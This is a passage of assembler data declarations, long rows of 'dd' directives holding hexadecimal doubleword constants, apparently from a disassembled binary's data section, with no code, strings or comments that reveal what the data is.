0F2749F6h, 8E2DF480h, 9600219Fh dd 0C0661915h, 9A3F52Ah, 0DC67ECA6h, 0D91B6100h, 534EC865h dd 0D1EC96F1h, 25573A81h, 3AE9AD00h, 12703732h, 140711E2h dd 0E8656A92h, 0A4540EC0h, 97982D24h, 0EA956800h, 7E053CAFh dd 0A0DCF7B5h, 54A66C90h, 0B2E7914h, 8A996B01h, 0D1DFE013h dd 0FC429C6Eh, 473A465Ch, 878C00D6h, 2649E8ACh, 8B5500D4h dd 0FA1797DCh, 5900A6C8h, 849F14AFh, 58E67FE4h, 0EE80D8F6h dd 691364A3h, 826A5613h, 81C7A85Ch, 93F10D08h, 10ECB97Bh dd 0B8B74CAFh, 0E1217A00h, 0F58846A1h, 19CF5600h, 0EB154217h dd 0E9A2000Dh, 0CD04C254h, 5C00815Dh, 2CD57DDDh, 27930B9h dd 0C7CFC36Ch, 0C60C5A9h, 0CE00CA23h, 0BCD87E83h, 0DE5181h dd 0A7F0D0D9h, 47A1EBFCh, 0C4056900h, 9ED3D256h, 0CF1C00CCh dd 0B9EE8253h, 3F73C0BBh, 11193D00h, 79B4675Eh, 54E475h dd 0B7807C23h, 4C7FDB76h, 70955613h, 0C416E447h, 0B3B7FD17h dd 0EFBBE8F0h, 4A61C9Ch, 0C3E8084h, 76AC9EEDh, 6D66CF00h dd 387BFDDCh, 69563C99h, 2316DB80h, 7639CA27h, 0EEDFA90Ah dd 0CF04B092h, 0D22C47B6h, 0F67A84BAh, 3722922h, 0D522C2A0h dd 0B4A945E9h, 30CFFC74h, 7A75C00h, 75114E9Fh, 0DE830786h dd 302544D8h dd 0C329B338h, 2387D700h, 0DC7CBCC2h, 2715Eh, 2A9C917Eh dd 0A95DD61Ah, 0B7F07500h, 5F3CD5C6h, 9D440047h, 7C09CEB8h dd 0E703BAB6h, 764B7A32h, 0B414C0D4h, 90160529h, 0C0EAE4C0h dd 326EFFFEh, 0F29C0C00h, 0EBD1C93Bh, 45BF0082h, 0A2EACEA1h dd 0ED0077FDh, 0F9C36A91h, 7D9A1849h, 45200003h, 17F7C584h dd 3E76B355h, 5E6DD60Fh, 1B3940FBh, 708D22EFh, 0B5E500EEh dd 0AED32C73h, 0AD245309h, 3407CD9Ch, 9582D1E1h, 0D4D0AFh dd 168F8E8Dh, 1D20E68Ah, 5A0040E2h, 79A15F99h, 971577h dd 0FA0DEC2Bh, 0AC708E20h, 13C4A58h, 72887DADh, 8405896h dd 1C395791h, 3DFF7971h, 0B6302501h, 808595BBh, 3A4E2871h dd 3F95550h, 0C6A4B775h, 1DE370B2h, 0BDE4A0E5h, 0D6857801h dd 0F05CB721h, 52100886h, 29F0201Fh, 84C310DCh, 7AE2AB2Ah dd 3A140620h, 68864AFBh, 56F41A1Ch, 36F98546h, 37447959h dd 8C20558Dh, 8C002B59h, 0B46F865Ah, 435D08h, 0B115BB75h dd 0AFAA4828h, 0B72ABE01h, 0D7F9D862h, 0C83E488Ch, 5C3A41C0h dd 811380C5h, 0FEE1BDDEh, 192E0004h, 0B657ACEh, 0F005088h dd 14A90A06h, 4373E1h, 0EE492B4h, 0D204028Bh, 0D75CB600h dd 0DADF537Bh, 303603F5h, 0F3253149h, 3F88E9A0h, 0AE95FE01h dd 0BFA42FB1h, 3ED2DBD8h, 2587D817h, 30E1CA5Ch, 0F1D31AA1h dd 7A2BA50Eh, 8C5960A6h, 32A4850h, 2816DC34h, 5F89A75h dd 361754EDh, 0C8DE35C5h, 0D6800442h, 8A5EE2A9h, 2230EEE4h dd 0B8501958h, 0B350C02Ch, 7F7D8A2h, 7B290A1Fh, 5397B283h dd 412ED93Eh, 613DCF10h, 116A9030h, 19C44FDh, 0B749F05Fh dd 9879D884h, 97218308h, 3C9C0540h, 0E8BCBC6h, 89F155Ch dd 4780AE7Bh, 2F69FD9Fh, 0D75907C4h, 4F5A9432h, 0C76D2178h dd 0E843FC07h, 31200ABDh, 0AE7FF03h, 0D7F0539Eh, 0CF1FDC4Ch dd 298C2AE4h, 7331971h, 18369B75h, 55588168h, 5E5D003Dh dd 1709834h, 59A46FB3h, 0D1A517BBh, 140680Ah, 56ED6C7Dh dd 0B97182BDh, 0E4A8A400h, 0BC5C0532h, 0DA3D0Ch, 592C6A80h dd 9312759Ah, 0A04049C1h, 0D1407EECh, 0C83C0586h, 624692DEh dd 0A601261Ch, 8C4084E3h, 1051C52h, 0BEAB20D9h, 426134CDh dd 43306684h, 0F060119Ch, 0E629D71h, 5E9C4B98h, 0F0803140h dd 0D1C0F550h, 0A66FB6CBh, 79FF0020h, 0C9EDBF88h, 0DD491639h dd 2FC4002Ch, 38C86917h, 9FE6000Fh, 36CB035Eh, 8CA455A2h dd 0C7F2F37Eh, 0CD93C03h, 0B0C3127Ah, 0F2CCFF90h, 0DCB900DFh dd 68457E61h, 3B54EFB1h, 5A7775B8h, 13A48950h, 0F9FDE201h dd 0DC15C6A8h, 0C7B3819Ch, 0E05E412Ah, 455636F8h, 0F45D1C98h dd 5A100320h, 80DE542Ah, 39ADDC91h, 8A09D0AEh, 0F000029Eh dd 0BE6B231Bh, 8E087490h, 5DB57Bh, 0F2D74C5Fh, 0FE1F8681h dd 51DF8432h, 416C1140h, 128FBC3Ah, 55B4E3Dh, 8161E318h dd 839E7B53h, 70195341h, 0C3EFD02Ah, 61C60005h, 1AF1A164h dd 0E0642BDh, 987A82B2h, 36720031h, 5FFED1B7h, 5C00ABA4h dd 98C3CE6Bh, 597E3Dh, 689B3CFCh, 57310D61h, 8F399D62h dd 0ACE4A089h, 14F37A3h, 3A163208h, 204D8183h, 40CD041h dd 7686F0B4h, 683C1E84h, 0BBCB8CADh, 8A14AFF8h, 1E8803D9h dd 70C73308h, 821175CCh, 0C0516CC0h, 70574ACDh, 8FA2A863h dd 3F426E0h, 48AC00BEh, 5F1A0F36h, 7A017F8Ch, 0F0616933h dd 0EBD8B739h, 9F0A048Ah, 0D0211353h, 0B3C30404h, 94C60E01h dd 306C9093h, 0DB77E8h, 0A85B7A9Dh, 0D687451Bh, 0B8A26Ah dd 6281C311h, 0EB5E442Ah, 5BEC2DF4h, 0EFAE4C2Ah, 3B658300h dd 8A3AD5BBh, 0D882B432h, 9346831h, 0F1C748E2h, 73AD312h dd 0E1B6F0B8h, 263C61CFh, 1446F03Ch, 0E587022Ch, 75BA5829h dd 31991863h, 3AC6251h, 569D8009h, 4420B730h, 13B353A1h dd 20F67482h, 9ED7BBC4h, 3BA72084h, 0CE86E20Ah, 95038C98h dd 26331304h, 115C96B8h, 0ED6E8062h, 431FB3A0h, 1D1822A5h dd 5FED667Bh, 491180DFh, 7CA8AAC2h, 0B4233F07h, 0A2C63153h dd 5A8F24B1h, 0A9E78038h, 0B59E8D64h, 180F6A90h, 0AE40118Eh dd 572AA0D4h, 19365FE9h, 482F6B7Bh, 7C80DA41h, 0A69876DDh dd 2C7E6302h, 68E258EDh, 303FCD4Ch, 4629B67Bh, 130E05AEh dd 6FCA4225h, 0F557E0D4h, 7B41B235h, 28C090D8h, 7EAD5FC9h dd 4DC700D3h, 0A3A8B161h, 10036B26h, 6E60697Dh, 0F0082A2Bh dd 0C1F50C34h, 9F481FACh, 166B4605h, 4C98495Dh, 68FD049Eh dd 325A3C2Fh, 0C64420B4h, 400089FCh, 0F159103Fh, 4826A7BEh dd 29F85851h, 1C7AA943h, 4024B372h, 87900312h, 50D99AAEh dd 0D820B9F8h, 913B41BDh, 9C8047B0h, 0CC2F62FDh, 9E225943h dd 0FCC46E00h, 0CEBEE771h, 15780456h, 85395C47h, 0BBC8478h dd 6402BE34h, 6E216B9Ch, 702521B7h, 0F0179C60h, 30B061CAh dd 0D2EAB210h, 679C3848h, 2F51DD25h, 0B245FD0Ch, 1C8812EFh dd 97C1727h, 10FC54h, 0C1ABC6FBh, 76DE4DA5h, 36AF30C9h dd 6E53C5B9h, 0E2512203h, 847B3Dh, 9428EFC9h, 0A133A9B3h dd 9F775AECh, 4E0B6C92h, 136E8F61h, 7FDD90E8h, 0E7800E9h dd 0F37BFE77h, 0EB034918h, 13A8B283h, 519900D2h, 174F0AF1h dd 0FD006DD6h, 14A470E2h, 1A56726h, 0E48F5646h, 4A15E119h dd 1C423F4h, 5E3F2A5Fh, 882B180Dh, 2A50744Ah, 4770C784h dd 81047858h, 0BCEEC21Bh, 0E41DF8h, 0C1602E6Bh, 0B74C4137h dd 0D900637Fh, 0EC65D2F6h, 1F78FB6h, 0AFF33C64h, 30DB5304h dd 8B009C14h, 0CB9B1AF6h, 7524D9h, 1254C088h, 0FED31B0Fh dd 428D269h, 6B605714h, 0B323A1EDh, 3071117h, 0FDED637Eh dd 0ACAB52h, 439B2EB1h, 72188938h, 55BA8B00h, 0EA62D2C0h dd 0AA66289Eh, 0ACD31E90h, 8C6975D4h, 3FF8CA20h, 365B8400h dd 5A6A6EFCh, 53B0F79h, 8A229FB5h, 404370C4h, 757EF0E0h dd 0FB095092h, 544EFEh, 0C7BB5BF9h, 0B9A20BA4h, 80843E06h dd 9C416060h, 61F02362h, 96018911h, 4F1C9C49h, 1AA18034h dd 130F8EBAh, 8D4800E1h, 66AB366h, 0BD01DC04h, 983AE0D3h dd 0C0230795h, 1F30A0B2h, 0C792028Dh, 616646E2h, 0B957E0A2h dd 0D813C8C0h, 0DB8090A9h, 0CDF007ABh, 8202DD21h, 6A64E97Dh dd 5DBD87D5h, 2B607CD0h, 0C47CA5ABh, 0A0DD605Fh, 0F6DE03B6h dd 0B17BEB99h, 4C0DA900h, 311CBCA9h, 74A57ACFh, 1CD5487Ch dd 276C4300h, 993A322h, 0C8586A09h, 0F82088D9h, 0D1504826h dd 5ED32367h, 9CED6200h, 86A4FFB3h, 770944h, 0ADF5EE1Ah dd 0EAD8064Ch, 0B7260204h, 0C87E6Fh, 817B0985h, 3498BF09h dd 840043BDh, 13889C12h, 906C4DDDh, 0A66B1C5Bh, 684505F3h dd 30C84435h, 8114C758h, 7006312Eh, 6B01A67Ch, 0F642C9E9h dd 8422A566h, 91553113h, 50547ABCh, 5C6076A0h, 0EECBD724h dd 0B3CDA809h, 0C3F500h, 0CEF45Eh, 2A591300h, 9EF8201Ch dd 0AA7B5C11h, 63830A00h, 0A6880110h, 19C099F8h, 18E7D851h dd 0F4780033h, 0AA6DAB64h, 4200C786h, 38086945h, 14816843h dd 0D4E5B724h, 50522B09h, 0D3374460h, 0FCA49FB0h, 69025D46h dd 27B393EDh, 700010E7h, 0D985ED61h, 9C4E0E95h, 0F0421209h dd 806802A6h, 0E82EB7BEh, 38000A0Ch, 7B35E3E1h, 0B371C297h dd 3050828Ah, 0A070902Ah, 4A0C8100h, 0D93A0E3Ch, 57D80265h dd 9552BC5Ch, 315D6840h, 59928A13h, 334D1892h, 3034FDE8h dd 915A9C21h, 9A68039Bh dd 0C8C931FDh, 4508DDh, 63CABECBh, 248518D8h, 0C7601658h dd 96F1361Eh, 71D4B8B9h, 49976A7Eh, 0EB060085h, 4ADAA232h dd 6125A100h, 97452B4h, 0F02200EAh, 1DA3D7BAh, 3D3B3263h dd 0C4E9ABDDh, 802F6812h, 0F0078C77h, 0CEB9DA19h, 0B803B5B0h dd 258B895h, 2B647C45h, 0B889084Fh, 410B0483h, 30D8C812h dd 8CC15024h, 0F46140BBh, 2BF16072h, 0BBE0CA9h, 0A1FA1926h dd 4E0F7C00h, 0F4903CF8h, 61D5F416h, 2F237C3Bh, 0A7AA803Dh dd 0B26C7A84h, 0F9DF3B0Bh, 805455B8h, 6D7D00ECh, 34E8B61Eh dd 21008BDAh, 0C5C153C8h, 1D7B70Eh, 0E526ADBFh, 0D5DB106Eh dd 9BC7E4B8h, 0FA71890Bh, 9C204044h, 0ABD828E8h, 175946C0h dd 1804ED6Dh, 0E4E2A507h, 0EE257C80h, 82101597h, 90138EE0h dd 0D6A8C855h, 0B2A09AE8h, 0AB25CD60h, 3524A2C5h, 7A4BC04Eh dd 0BD31C085h, 0E0FCB18Bh, 902FE600h, 96E1A5B9h, 0A62901BBh dd 5F7FAE72h, 404C294Ah, 0A0440DCh, 3C85BEA5h, 345EECC0h dd 0A82C4CEFh, 2E87147Bh, 0F33EF8B4h, 0C6B79089h, 0A6E1040h dd 0AABFD804h, 0BC8138B8h, 7B0102B6h, 48C5105Bh, 0FBE900C4h dd 495011DAh, 5C1CED91h, 0CC0058C7h, 35F5630Ch, 8AF91A48h dd 0FCCA41AEh, 31EBE460h, 8357A18Bh, 7C9A1982h, 784AD937h dd 3B78944Ch, 58F47000h, 0F0566396h, 0C6F2018Eh, 771287C0h dd 5D829C8h, 38626B58h, 27C6E890h, 0E20C065Bh, 0E0A54AAEh dd 40C0A307h, 0CDA06510h, 7618694Bh, 0AC622EE9h, 6AB582C4h dd 44C82EAFh, 202C0452h, 254290A8h, 9C401891h, 69F05B16h dd 9310108Bh, 22402C4Ch, 3F40D024h, 56E3D2h, 0A360435Fh dd 65D77B09h, 9C01177Dh, 4E388667h, 2F008F3h, 70921683h dd 0F4E82016h, 3902F2AEh, 20EA943Ah, 8004E3F0h, 0D52E0C4h dd 6C90F658h, 0F7820081h, 8D00243Bh, 17705914h, 734E6BFEh dd 38661E4Dh, 17EBD28Eh, 0DC5D08h, 0BC3506D7h, 0D4A4505Dh dd 0A95FCE00h, 7073D95Bh, 31D00ABh, 4FBF2E83h, 0A627EC48h dd 0BE740171h, 60FE872Fh, 0C9BCD2Ch, 0B2CC7088h, 9E13F08Ch dd 3444AEBAh, 27406A2Eh, 6E5D63BCh, 0E9D5AF31h, 306D03D8h dd 9020B451h, 5AE10B45h, 9C916B9Bh, 7EA5184Eh, 942F10FDh dd 80A6C85Ah, 0EBFCCD67h, 6600440Ch, 0A117A0B8h, 0B9506309h dd 0A1D00DCh, 0AB3EDE6Fh, 26C5E800h, 43334A61h, 47360131h dd 0D4B290F5h, 0C31A451h, 184674h, 33DBA92Dh, 39AF813h dd 7EE426B2h, 0A81657F2h, 8017BD7Fh, 9B230C2Fh, 65491900h dd 0C52A0Fh, 0B44B09Ch, 0D364CDE2h, 0A8C6259h, 0B4E7133Dh dd 204E1E8Fh, 0AEBED647h, 56F91EDDh, 0CD8080A9h, 32D0398Ch dd 0C64D72Ch, 76E2C43Eh, 0E44A5086h, 962B01F6h, 0B4BFBE5Eh dd 0CFFC41F5h, 0A1EC3339h, 780CA7E7h, 0C37F5498h, 4D130D80h dd 0C00FC23h, 7917BD6h, 4C003A49h, 8F894F99h, 2E93BC0Ah dd 630C63BDh, 4CA8D7DCh, 0B073BAF7h, 0A3411004h, 20812236h dd 546802A5h, 0C9389081h, 38F42174h, 621309E8h, 0EA4005FEh dd 0E8FCEC54h, 0A6008C60h, 47408BE8h, 32827520h, 7B60571Ch dd 0F00014F2h, 4A32B65Dh, 26470B83h, 0A694EF50h, 0E200DEF8h dd 1455758Fh, 257C2158h, 0B490E42Fh, 1200C347h, 82252939h dd 0D72DCBh, 7E54EDC5h, 0E71F380Ch, 0C8DB122Ah, 0D92A7C14h dd 987100A9h, 0FCFB5345h, 328CA03Ah, 7D558137h, 0BB2F00B0h dd 0B6CFF9Ah, 312300C1h, 9E93DA88h, 0C749A8F8h, 2A668004h dd 8C755E58h, 11F42E54h, 41001490h, 6B7CDB38h, 1244FF3h dd 53B426CFh, 444915AFh, 0C8F810C8h, 619C42C0h, 448C79F0h dd 4E589D52h, 0EF721FE5h, 83BB0E42h, 0C8E4E07Fh, 48035C37h dd 5EC0D038h, 32CD42Fh, 29F15098h, 8C13E1h, 0A5F9890Dh dd 310F7521h, 0AC336791h, 949D3059h, 0FF465E8Ch, 2F9E3300h dd 67FE55ACh, 0EC875B1Fh, 6F7C3D02h, 4188C0DAh, 542F0163h dd 1ABCD85Ah, 0C4147568h, 0F0A8AB7Eh, 0BEC0E2E1h, 0A043DE0Fh dd 471E1EF8h, 503393FAh, 6C239CA0h, 669C4501h, 651841F0h dd 6F4DAA88h, 50A5589Ch, 891485D2h, 0EB27D8DCh, 0F8FE48h dd 158EC5E2h, 5F6EB734h, 23A42F60h, 0A66E0086h, 0EB2F5A46h dd 0F8D0DA30h, 2AB1E9F5h, 2598F4D9h, 0E0800F13h, 60B3364h dd 25DD80C4h, 132410F0h, 3ABE82C8h, 40523CCh, 83DF5230h dd 0C6D02617h, 48B1B26Eh, 1B2B6403h, 0CAF10BFFh, 6869567Eh dd 0D9051088h, 2B6D00B9h, 0CC92EEA6h, 9400F037h, 68C45C58h dd 380310Eh, 0D876A0F2h, 39026228h, 0B1E0753Dh, 9B5881DDh dd 68D22ED7h, 20B06ED8h, 1496A86Ch, 620465Eh, 9892B9Fh dd 0D9D70A80h, 1BAC6F25h, 5FE27155h, 7092444h, 40797EF0h dd 241C5E08h, 70373Bh, 4D0BBE38h, 7450B76Eh, 18B8E1B4h dd 0F8994B09h, 7EA881A6h, 0CECC7194h, 317B2F2Eh, 0E8A24809h dd 0DD003B39h, 0BC594BCBh, 66280FECh, 2E6C0152h, 35B28A3Dh dd 0F08036D0h, 0B0D82E03h, 0A0AD0B24h, 889855C6h, 6001E7Eh dd 400D64EFh, 2C953F11h, 7851B9h, 0DE19C663h, 9F4802FDh dd 8C61FC98h, 0F4016CF6h, 0F501709Dh, 0F040B3D6h, 0B0601052h dd 0B4280000h, 5916F626h, 1B14679Eh, 5B03E4Bh, 9F0E87FAh dd 0E218AC90h, 7C6374ECh, 0D0B25D6Fh, 5934C809h, 0C48F0C29h dd 64025288h, 0A03350E0h, 0BE721CE8h, 23D705C3h, 0E3D6C29Fh dd 30B3A24Ch, 1209B67Fh, 59615731h, 824C11BCh, 0C16DFD9Bh dd 70785937h, 0FCC369A0h, 9AA12501h, 57667EB0h, 0E39E244Eh dd 5FC80D00h, 99C7AF9h, 9010934Dh, 757C1468h, 9A735904h dd 14B95C31h, 205CE93Dh, 3008C70Ah, 0CBA516B4h, 0C003C85Ch dd 0D30DFB0Bh, 0C8FEF3Fh, 503BBB2Ch, 492F6055h, 97B74F2Eh dd 0EB22E50Bh, 0CCEB80C0h, 4A69E96Ah, 23649158h, 532680EFh dd 0E8C02D68h, 0E84150F1h, 0C16307C8h, 0FCE5B065h, 2BE9AD31h dd 5A04685Dh, 7D01F497h, 20390504h, 0DE4D13B0h, 0FEBA0F08h dd 0A5E9803Fh, 42BBE6Ch, 8ABFD80Bh, 8ED4C516h, 0A92984CCh dd 500FB930h, 25A30E1Fh, 525CC642h, 6860D828h, 0BE941A66h dd 0B5DB5B80h, 6F327F1Eh, 9ACF8800h, 2BE382A6h, 0F9462EA3h dd 0E7215E08h, 599482A7h, 587818BCh, 28C56226h, 28F29B12h dd 0C1911A10h, 0F05C9C3Fh, 260BB6E9h, 0DE032694h, 0EABEEE7Ah dd 0F00C482Ch, 999E2486h, 0AA7E09A8h, 22154061h, 309BF29Ch dd 0DD006945h, 0EE66E486h, 918F6B4Dh, 0AC710054h, 4E8B70E3h dd 0F4C43A2Ah, 0E5247D14h, 0F83A4EE8h, 0E001823h, 0FCA644ABh dd 3695028Ch, 815AE14Dh, 0E283CC56h, 34756AEh, 2027F5E0h dd 0A0E45B78h, 0A0212E78h, 0C5253Eh, 78606564h, 0C71D79Ah dd 0F6F5E213h, 0B323E03Ah, 2231B504h, 10401CF3h, 865CC2h dd 2B16A822h, 4C405233h, 0F7938B9Ch, 9D952ABBh, 443505DCh dd 85803213h, 0F2A4F254h, 1301302Eh, 23346901h, 4863292Ch dd 0A740222Bh, 0C757D8C8h, 7FAA3060h, 0C66F9BCh, 44644EA5h dd 0C139F550h, 0A9599288h, 74669888h, 4D2A0042h, 9C8819A8h dd 0A52CC689h, 6B44E458h, 9FF270E2h, 1880B530h, 400FD2A1h dd 0A4265215h, 24881886h, 40D244F5h, 0F05A9DBCh, 0FEDC008Bh dd 90D04D4Bh, 500B14FBh, 8AD6DF04h, 571D24C4h, 6F7B4831h dd 0EB000439h, 419994Fh, 5C017AD1h, 0F5E0AD22h, 71E9590Dh dd 9E085462h, 630E38BAh, 0B057F65Eh, 8C75E42Fh, 5354BF02h dd 0F28CB4A2h, 0D90C604Ch dd 0EF599D88h, 855E1300h, 0B0894BF9h, 5E073E6h, 0E3B6EC5Dh dd 0C83CB4D6h, 2A63048Ch, 0BC6D5E43h, 5816B004h, 0F8AC002Ah dd 73E3F7D1h, 0D0A1C1D6h, 421610ABh, 0D47500E2h, 0C71D53EFh dd 6324AF91h, 8B039FFAh, 2544F2EEh, 9C4D5499h, 0E03F7D62h dd 905C2B00h, 0D17C917Ch, 711886h, 86FA83Ch, 37D29F70h dd 0A8A020BAh, 3B80E703h, 56B025A2h, 0BB1870E0h, 9EE1C605h dd 0ECC142D0h, 1DEDBE7h, 0F5EAAFFAh, 0EC3C32h, 4E5A13D3h dd 9D18356Ch, 0D61F34B0h, 401C8C8Ch, 989DC088h, 8CC9EA68h dd 0B3D4D813h, 0CF749008h, 2C05ED29h, 6A0624Fh, 0ED607921h dd 462FD8h, 64E6F062h, 269F8AE8h, 0B8804E6Ah, 1110172Fh dd 6778809Fh, 2AB2588Bh, 0B46393h, 0E4AE56A3h, 732E17C0h dd 96FF7A04h, 0ACBC5DB1h, 48C0CBCh, 2F61697Fh, 1CD38423h dd 0D48245BCh, 22D0275Ch, 7040DE80h, 2184D1B9h, 8EBD169Ah dd 0F65E452Ah, 0FA1CB438h, 5320002Ah, 8AB38B78h, 0F8926A14h dd 61B1E46Eh, 11E15E9Ch, 0A333043Ch, 0C8C1CFF1h, 210BC5D4h dd 2C352B20h, 4172ECF4h, 1882E8B5h, 0FDF1118h, 9047D778h dd 0AEF90264h, 0A7DD95C6h, 7483E062h, 50150A4Bh, 4A982050h dd 4D5E898h, 10EF03C0h, 92A8ACE1h, 41A10804h, 0EE3171Fh dd 9F0902CEh, 143154D8h, 0CF58285Bh, 0C3838640h, 9F5A18E0h dd 2A1318ADh, 1373FB3Eh, 8CF72342h, 0CC1007C0h, 64031396h dd 0BFE49E9h, 0E040E334h, 1FFD8ECBh, 923952h, 174AABA8h dd 3E00B16Dh, 6EAE151Dh, 0C9132Ah, 38644095h, 0E207D29Ah dd 0BEDCFD04h, 0F4852F6Ch, 0B17A9404h, 0BD6FFE40h, 0D0A8CC82h dd 218E9A8h, 8B385D60h, 1C34BEC0h, 2CB6891Ah, 1BA29CE0h dd 409022Ch, 6B45823Eh, 4BCF7B2Dh, 9AC80A28h, 7B204CCDh dd 9D327DAAh, 80A51198h, 4E3CA265h, 98932795h, 2919897h dd 32B79181h, 1EE0C441h, 0AC275102h, 0B51836AEh, 0DCB48028h dd 0E99D79AAh, 76985612h, 9F903470h, 609C49C2h, 58F4BB0Ah dd 0B5D500CCh, 0B8B7FAF9h, 63FC201Ch, 405556CFh, 3CE2E1C4h dd 86882531h, 1FECF4E6h, 0DA491776h, 0E8D8D494h, 0A9432Fh dd 286B0612h, 24B2F6A3h, 84B85F51h, 0E55269Eh, 0C8CB73F9h dd 67CF65C8h, 0DC53E0ECh, 50F290D1h, 679B1FEBh, 0B73940D9h dd 46C9775Fh, 817C904Ch, 1BDE53F8h, 17C617F8h, 313C1D0Fh dd 806B8B98h, 0EBA2C508h, 4CD772Eh, 0C758614Dh, 0E8F912h dd 794324AAh, 9A1D57h, 0CCDC6E99h, 0CAD1CD8Dh, 0ABC9A91Eh dd 24132B97h, 0B09FC8A4h, 7E42000Ch, 3C439692h, 1A976B58h dd 30AC64D4h, 0D1692C13h, 16018FE7h, 38CA5084h, 31D0E8B2h dd 8CC39F4h, 728B8804h, 0F198B246h, 290CA7E5h, 0BC9DEE28h dd 0BEB41895h, 2733F0CEh, 10E8547Fh, 0E083C252h, 12E5E2F6h dd 216BEC0Ah, 30888AC0h, 9374BD64h, 0C15A30C4h, 80E80C01h dd 4C007B12h, 0E20939EDh, 0B27E2AFBh, 28C401B8h, 1EC8266Dh dd 470B20E9h, 6B91BB04h, 0D0A04673h, 0A0028C4Bh, 0AC2F6EFDh dd 503C745Ah, 0FC00C872h, 0BA34CFB3h, 69ED009h, 40C70C5Ch dd 134BD05Ah, 131C8888h, 0B439F5B2h, 0C32989E8h, 5680C098h dd 33B4AE8Fh, 2EE23FF3h, 0D028D580h, 769F6684h, 73F1EB07h dd 45509096h, 0FF064AEh, 1CB729D8h, 31BFAD80h, 5094F323h dd 0A8827502h, 18745270h, 1897B80Bh, 8D582052h, 0B0A2A40Ch dd 8E300AF2h, 0F351099Ch, 0B40E3337h, 34DC758Bh, 0BCA0EA13h dd 6A527D2Bh, 608C7088h, 34AEA66Bh, 22B123Fh, 7EED281Eh dd 0CCE32FB0h, 9FE0FE3Dh, 9C2CC72Ch, 7C09549Bh, 0D9745188h dd 0D5189Bh, 0E8375CAFh, 7AA3CC35h, 3F983051h, 0F01CA013h dd 0A401C13Bh, 0C0A4BF13h, 3D59C07Ch, 300CC975h, 20B56703h dd 0CFFA389Bh, 36452900h, 0A3D7BBBAh, 14318E01h, 0D6B26E6Bh dd 4D7A8424h, 53967C80h, 423CE7DCh, 30B3A26Ch, 6D547AEAh dd 7B7644ACh, 14484B00h, 6EF5D4BAh, 5D8FE52h, 0FE4C54EAh dd 0C3D40B59h, 74607CCDh, 0E49B086Ch, 0BB4C6Eh, 4166C899h dd 88B48A0h, 9ED7211Fh, 0FB222840h, 0D91009BFh, 0E89188h dd 0DB13F49Eh, 0DC004DDEh, 6D49F106h, 5A540227h, 5E89FC9h dd 3D40A476h, 4872AFDh, 0E4513891h, 31708C7Ch, 2C97644Bh dd 0C2E38BFFh, 6BB4309Ch, 272A39A1h, 2F4A40CCh, 0A92B107Ch dd 2DAC65C1h, 0F05430E3h, 85A16E12h, 501A7C0Bh, 821512F0h dd 0EA584184h, 83DEF6D4h, 0BFC47988h, 94A0AD40h, 0E29B8B3Ah dd 0DA312689h, 7865054h, 0F021B66Eh, 987C0088h, 0CD0BC73Ah dd 58A0E715h, 0FB0044A5h, 0EB2A68F8h, 7A3B64Bh, 0ABA7453Ch dd 0F76F3014h, 0A19F7B39h, 0C6F9B988h, 8651FCh, 0C735086Dh dd 0F08E22BBh, 5E6ACD00h, 61E67533h, 0FC24E99Eh, 80F8BE16h dd 0D6BFA3ADh, 60037328h, 9F79641Bh, 50FC5475h, 0F4917Ah dd 506BEA3Dh, 0F002D872h, 68016A74h, 0D63C7616h, 0BD68100h dd 0FB78D48Fh, 639C04EAh, 0D9B2CA80h, 302F6F70h, 5F000623h dd 0FDDA4A2Fh, 9479529Ah, 30FEB300h, 1ACA071h, 0CE1EAF00h dd 8D111A0Ah, 0C5E626EEh, 45A3D78h, 4CA624h, 77559256h dd 68015DDCh, 24BFBE81h, 0E2FC4128h, 0ABB3C5A6h, 0F7D8C830h dd 43B90226h, 1286EF1Dh, 5E0BDC58h, 0B09C304h, 0E4D865B0h dd 3186052h, 6C0B0090h, 30DCE09Bh, 5A12B3BEh, 682CF45Bh dd 0C8EB4F59h, 23147818h, 22F0D8DDh, 0DB820097h, 1BB663AAh dd 95071EECh, 5FE126BAh, 0DB090A0h, 0C81255D2h, 2457860h dd 5FA3B30Ah, 1CD241BEh, 0E2945917h, 0D1802009h, 4F5428ECh dd 0C8D4CB60h, 37E7C086h, 360B3B5Fh, 22BD077Bh, 4E82CB90h dd 0FCB5B528h, 0D013213h, 2D81630Dh, 522B6093h, 23F86E0Ch dd 47C6014Ah, 7B4DCCE1h, 82C1AC02h, 79E0F149h, 17581809h dd 5D27765h, 889DFAA4h, 0DC9B2E4Ch, 80CB4516h, 0D7C05FC8h dd 12199056h, 4AC63C1h, 0DC3B9BC5h, 0F123F7Ch, 28E203F7h dd 6523E700h, 73F3F5A8h, 0A628F04h, 489C7E2h, 43D861D2h dd 8A970C6Dh, 0C199C89Ch, 70277177h, 4E4E6DC4h, 0DC9B9830h dd 97B62982h, 10956BD8h, 4C809F91h, 460A7845h, 0A097905Bh dd 0D0269560h, 501500C3h, 0EFAFA143h, 0DA09884Ch, 1D497D09h dd 80FF113Ch, 0C7E08E9Dh, 0D3BE0134h, 53DCA82Dh, 0D0C0E287h dd 0E0D065A4h, 8CB3E898h, 452B0D0Bh, 0C098EDCEh, 70548591h dd 47EACE0Bh, 0F8FC6B50h, 1F193E68h, 71B43B2Eh, 737144A8h dd 30A0E2F4h, 2E24AD0Eh, 0AE1CE8F5h, 0A8237BD6h, 1A52D0A3h dd 0EA791FFAh, 0B7E80B2h, 41C036A7h, 4820F35Fh, 0F6E84B0h dd 82B36FE3h, 139085ECh, 0EBB23302h, 0EB3B0335h, 1580242Ch dd 9E465E0Ch, 0B2144413h, 9D2900B4h, 85CE35B9h, 0E3DB00A6h dd 0CFBF0C3Dh, 634E8170h, 208AC082h, 0A372AFA8h, 0F084C09Ch dd 38B6E70Dh, 0CB171817h, 0C0998838h, 0E61118FBh, 761253E8h dd 5C304585h, 5AED24Ah, 11405F18h, 2B9B807Eh, 8E17F678h dd 0D80028A8h, 33B5C458h, 2E207389h, 0C1D0EABDh, 397996BEh dd 449AD7F4h, 0C7B5AD81h, 0B784FC51h, 1C824A4Bh, 1C805E37h dd 89B8B6Eh, 0B0E5F08Bh, 18A929E2h, 1E00AEB4h, 1F6E8002h dd 0C00EAF57h, 0E95C3C6Ch, 5A253DF5h, 1B7800A7h, 82D2CED3h dd 465EB45Ch, 4404C0Ch, 0C7033084h, 183948B2h, 7630D344h dd 0D84B60DFh, 0AC469535h, 0E260C301h, 84A0B57Eh, 2FE8E478h dd 5100A943h, 1F4404E5h dd 0B21EF0EAh, 0C627DB9Ah, 0ABF62070h, 0B1C3Ch, 3DA564E4h dd 5EBC5EE6h, 759440F0h, 32DC37F4h, 78A8B059h, 0BDB41797h dd 7A6400C6h, 7FEB2DC0h, 129F1262h, 23C0F451h, 0F8CE70D6h dd 0DFC05F88h, 2F46B1h, 